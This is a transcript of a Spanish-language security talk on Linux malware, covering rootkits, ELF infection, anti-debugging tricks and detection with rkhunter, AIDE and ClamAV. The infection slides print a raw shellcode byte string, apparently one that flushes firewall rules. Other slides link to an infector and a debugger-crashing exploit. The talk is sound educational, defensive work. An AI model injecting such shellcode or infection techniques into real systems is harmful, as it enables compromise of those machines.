Download malware en linux - brainoverflow.org

Document related concepts
no text concepts found
Transcript
MALWARE EN LINUX
Usa Linux decían ...
... En Linux no hay virus decían
Alejandro Hernández
CISSP, GPEN
@nitr0usmx
http://www.brainoverflow.org
http://chatsubo-labs.blogspot.mx
1
Contenido
¿Por qué usar Linux (u otros basados en UNIX)?
Tipos de Malware
Similitudes y Diferencias con sistemas Windows
Motivadores para la creación de malware
Técnicas de Infección / Propagación
Demo(s)
Técnicas Anti Detección / Reversing / Debugging
Demo(s)
Técnicas de Detección / Eliminación
Demo(s)
2
Conclusión
¿Por
Por qué
qu usar Linux (*NIX)?
(*NIX)?
Porque es “GRATIS”
PORQUE NO HAY VIRUS … DECÍAN
Porque es para expertos y hackers
Porque si…
3
¿Por
Por qué
qu usar Linux (*NIX)?
(*NIX)?
http://www.dedoimedo.com/computers/linux-convert.html
4
¿Por
Por qué
qu usar Linux (*NIX)?
(*NIX)?
5
¿Por
Por qué
qu usar Linux (*NIX)?
(*NIX)?
http://www.dedoimedo.com/computers/linux-convert.html
6
Tipos de Malware en Linux
7
Backdoors
Plataformas de SPAM (Correo no deseado)
Servidores de archivos (FTP, Torrents, etc.)
Botnets
Virus
Bombas de tiempo
Sniffers de información bancaria
Etc.
Tipos de Malware en Linux
Rootkits
Set de herramientas para esconder rastros de ataque y
mantener accesos futuros
Esconder archivos
Esconder procesos
Esconder conexiones de red
Usuarios escondidos
Y muchas otras capacidades
8
Motivadores para la creación
creaci n
de malware
Mayormente financiera
Espionaje
Recientemente cuestiones geopolíticas entran en juego
(Stalking)
9
Similitudes y Diferencias con
sistemas Windows
10
Similitudes y Diferencias con
sistemas Windows
Market share
11
Similitudes y Diferencias con
sistemas Windows
Formato de archivo ejecutable
Windows: PE (Portable Executable)
Linux: ELF (Executable and Linking Format)
Muchos usuarios de Windows utilizan la cuenta de
Administrador
Permisos de archivos en Linux por default
12
Menor factor de exposición
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
Existen virus / gusanos en diversos lenguajes de
programación como:
Perl
Bash scripts
Python
Etc.
Los más comunes y sofisticados son en el formato
de archivos ELF
13
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
Executable and Linking Format
Formato de archivo mayormente utilizado en sistemas
tipo UNIX como Linux, BSD, Solaris, Irix, etc.
14
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
Muchísimas técnicas de infección de binarios ELF
Mayormente infección en los binarios estáticamente
Ejemplo, inyección de un parásito en el segmento de
datos
Código malicioso:
\x6a\x0b\x58\x99\x52
\x66\x68\x2d\x46\x89
\xe1\x52\x66\x68\x65
\x73\x68\x74\x61\x62
\x6c\x68\x6e\x2f\x69
\x70\x68\x2f\x73\x62
\x69\x89\xe3\x52\x51
\x53\x89\xe1\xcd\x80
15
.text
.data
.bss
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
nitr0us@linux:~$ ./binario_infectado
Código malicioso:
\x6a\x0b\x58\x99\x52
\x66\x68\x2d\x46\x89
\xe1\x52\x66\x68\x65
\x73\x68\x74\x61\x62
\x6c\x68\x6e\x2f\x69
\x70\x68\x2f\x73\x62
\x69\x89\xe3\x52\x51
\x53\x89\xe1\xcd\x80
16
.text
.data
.bss
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
nitr0us@linux:~$ ./binario_infectado
17
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
DEMO
INFECCIÓN ESTÁTICA
INYECCIÓN DE UN PARÁSITO EN EL SEGMENTO DE
DATOS
ELF_data_infector.c
http://www.brainoverflow.org/code/ELF_data_infector.c
18
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
En tiempo de ejecución
Uno de los últimos troyanos identificado para Linux con
capacidades de captura de información bancaria de los
formularios de exploradores. “Hand of Thief” Trojan
19
https://blog.avast.com/2013/08/27/linux-trojan-hand-of-thiefungloved/
https://blogs.rsa.com/thieves-reaching-for-linux-hand-of-thieftrojan-targets-linux-inth3wild/
http://ostatic.com/blog/hand-of-a-thief-linux-malware-goes-for-themoney
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
“Hand of Thief” Trojan
20
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
“Hand of Thief” Trojan
Es importarte mencionar que un usuario no se infecta
“automáticamente” al descargar este troyano (al igual que la
mayoría de malware en Linux)
El autor recomienda…
“Hand of Thief’s developer did not offer a recommended infection
method, other than sending the trojan via email and using some
social engineering to have the user launch the malware on their
machine.”
www.infosecurity-magazine.com/view/34349/hand-of-thief-trojan-has-no-claws/
21
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
Otro de los últimos detectado es
http://www.symantec.com/security_response/writeup.jsp?docid=2013-111815-1359-99
22
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
A diferencia de Windows, el malware en Linux no
se ejecuta y propaga tan fácilmente
23
Mayormente se requiere de la interacción del usuario
Ingeniería Social
Otros vectores de ataque
Cronjobs
Modificación de archivos de configuración
.bashrc
Etc.
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
Propagación a través de vulnerabilidades remotas
Exploits embedidos
Malas configuraciones
FTP / NFS / SMB con permisos de escritura para todos
Contraseñas por default en servicios de red
24
Técnicas
cnicas de Infección
Infecci n /
Propagación
Propagaci n
Error de capa 8 (PEBKAC)
25
Técnicas
cnicas de Anti Detección
Detecci n
/ Reversing / Debugging
Muchas técnicas conocidas
Detección del entorno
Dejar de funcionar si está corriendo bajo una Máquina Virtual
Detección de ejecución a través de debuggers:
http://xorl.wordpress.com/2009/01/01/quick-anti-debugging-trick-for-gdb/
ptrace(PTRACE_TRACEME, 0, 0, 0)
26
Técnicas
cnicas de Anti Detección
Detecci n
/ Reversing / Debugging
Hasta más avanzadas como las presentadas por
aczid
Linux debugging & anti-debugging
Hack In The Random 2600
Netherlands
September 8, 2012
27
http://www.hackintherandom2600nldatabox.nl/archive/slides/2012/aczid.pdf
http://www.hackintherandom2600nldatabox.nl/archive/slides/2012/antidebuggin
g.tgz
Técnicas
cnicas de Anti Detección
Detecci n
/ Reversing / Debugging
DEMOS
APROVECHÁNDOSE DE FALLOS EN
DEBUGGERS PARA “MATARLOS”
http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
gdb_elf_shield.c
http://www.exploit-db.com/exploits/23523/
28
Técnicas
cnicas de Anti Detección
Detecci n
/ Reversing / Debugging
29
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
Presencia de elementos extraños y/o no
identificados
Procesos | Archivos | Conexiones | Puertos
nitr0us@linux:~$ netstat -ant | grep LISTEN
Cuentas de usuarios no identificados
‘h4ck3r::0:0::/:/bin/sh’ (/etc/passwd)
Elementos ocultos
30
Carpetas como “. “ o “.. “ o que inician con “.” no salen
con un listado normal $ls –l
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
Ejecución periódica de herramientas de detección
chkrootkit
rkhunter
otras
31
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
DEMO
DETECCIÓN DE ROOTKITS
rkhunter
http://rkhunter.sourceforge.net
32
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
Ejecución periódica de integridad de archivos
Hashes
MD5
SHA-1
Etc.
Herramientas como
Tripwire ($)
AIDE (Advanced Intrusion Detection Environment)
33
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
Antivirus
34
Detectan la existencia de código
malicioso
Heurística
Sandboxes
Sensores de Red
Reverse Engineering
Etc.
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
Y se ve así…
35
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
Antivirus
Mayormente detección basada en firmas de virus, por ejemplo,
una pequeña lista de malware conocido
36
http://en.wikipedia.org/wiki/Linux_malware
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
Los engines analizadores no son suficientemente buenos
aún
37
Research de Tavis Ormandy vs Sophos Antivirus [SOPHAIL]
http://lock.cmpxchg8b.com/sophail.pdf
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
Los engines analizadores no son suficientemente buenos
aún
38
En Febrero de 2013 analicé el engine de ELFs de ClamAV
En libclamav se encuentra elf.c, que es el engine analizador
Todas las variables son de tipo unsigned
Esto es bueno, sin embargo…
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
Existen validaciones muy básicas (bypasseables) como:
if(file_hdr.e_phentsize == sizeof(struct
elf_program_hdr64))
if(file_hdr.e_ident[5] == 1) /* endianess */
if(phnum > 128)
...
for(i = 0; i < phnum; i++) {
if(shnum > 2048)
39
Técnicas
cnicas de Detección
Detecci n /
Eliminación
Eliminaci n
DEMO
EJECUCIÓN DE ANTIVIRUS
ClamAV
http://www.clamav.net
40
Conclusión
Conclusi n
En Linux, SI hay virus y demás malware
Sus mecanismos de seguridad por default no lo
hacen tan vulnerable contra el malware
El porcentaje de usuarios es mucho menor que
Windows, así que el nivel de exposición también
es menor
Existen tendencias de atacar estaciones Linux de
usuarios finales para obtención de información
financiera y datos personales
El software anti-malware para Linux necesita
mejorar
41
42
42
G
R
A
C
I
A
S
Alejandro Hernández
CISSP, GPEN
@nitr0usmx
http://www.brainoverflow.org
http://chatsubo-labs.blogspot.mx